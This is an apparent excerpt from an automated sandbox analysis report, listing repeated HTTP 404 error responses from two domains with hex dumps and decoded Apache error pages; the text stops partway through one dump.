Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 09:59:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 